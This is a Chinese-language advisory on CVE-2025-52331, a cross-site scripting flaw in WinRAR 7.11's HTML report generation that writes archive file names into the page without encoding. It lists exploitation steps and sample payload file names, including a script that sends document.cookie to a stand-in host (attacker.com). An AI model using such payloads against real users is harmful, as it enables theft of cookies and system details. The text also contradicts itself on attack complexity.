CVE-2025-52331CVE-2025-52331是Rarlab WinRAR 7.11版本中发现的一个跨站脚本(XSS)安全漏洞。该漏洞存在于WinRAR的生成报告(Generate Report)功能模块中,攻击者可以利用此漏洞通过特制的压缩包文件名注入恶意HTML或JavaScript代码。当用户使用WinRAR的生成报告功能并打开生成的HTML格式报告时,注入的恶意代码将在受害者浏览器中执行,从而导致敏感信息泄露。
具体而言,WinRAR在生成报告时,会将压缩包内的文件名信息直接写入HTML报告页面,但未对文件名进行充分的输入验证和安全过滤。攻击者可以构造包含恶意HTML标签或JavaScript脚本的文件名,例如在文件名中嵌入<script>标签、<img>标签的onerror事件或其他XSS payload。当用户生成并打开该报告时,这些恶意代码会被浏览器解析执行。
此漏洞的主要危害在于信息泄露,攻击者可以通过XSS payload窃取用户的敏感信息,包括计算机用户名、生成的报告目录路径、IP地址等系统信息。这些信息可被攻击者用于进一步的定向攻击或社会工程学攻击。由于该漏洞需要用户交互(用户必须主动使用生成报告功能并打开生成的报告),因此攻击复杂度相对较高,但仍不容忽视。
CVSS 3.1评分6.1(中等严重程度),攻击向量为网络层面,无需认证即可发起攻击,但需要用户交互才能成功利用。机密性和完整性影响均为低,但考虑到可能造成的信息泄露风险,建议相关用户及时采取防护措施。
该漏洞的技术原理主要涉及WinRAR 7.11在处理文件名时的输入验证不足问题。
漏洞位置:WinRAR的生成报告功能模块,具体为report generation组件
漏洞机制:
1. WinRAR的生成报告功能支持将压缩包内容导出为HTML格式报告
2. 在生成报告时,程序会读取压缩包内的文件名并将其写入HTML页面
3. 程序未对文件名进行HTML实体编码或输入验证
4. 攻击者可以构造包含特殊字符和HTML标签的文件名
利用方式:
1. 攻击者创建一个压缩包,其内部文件名包含恶意XSS payload
2. 恶意文件名示例:<img src=x onerror=alert(document.cookie)>.txt 或 <script>fetch('https://attacker.com/?c='+document.cookie)</script>
3. 诱骗受害者打开该压缩包并使用生成报告功能
4. 当受害者打开生成的HTML报告时,恶意代码在浏览器上下文中执行
5. 攻击者可借此窃取Cookie、会话令牌、计算机名、IP地址等信息
攻击前提条件:
- 攻击者需要能够诱骗受害者打开特制的压缩包
- 受害者需要使用WinRAR 7.11的生成报告功能
- 受害者需要打开生成的HTML报告
CVSS向量分析:
- AV:N(网络):攻击可通过网络发起
- AC:L(低):攻击复杂度较低
- PR:N(无权限):无需认证
- UI:R(需要):需要用户交互
- S:C(改变):影响范围改变
- C:L/I:L/A:N:机密性和完整性影响低,可用性无影响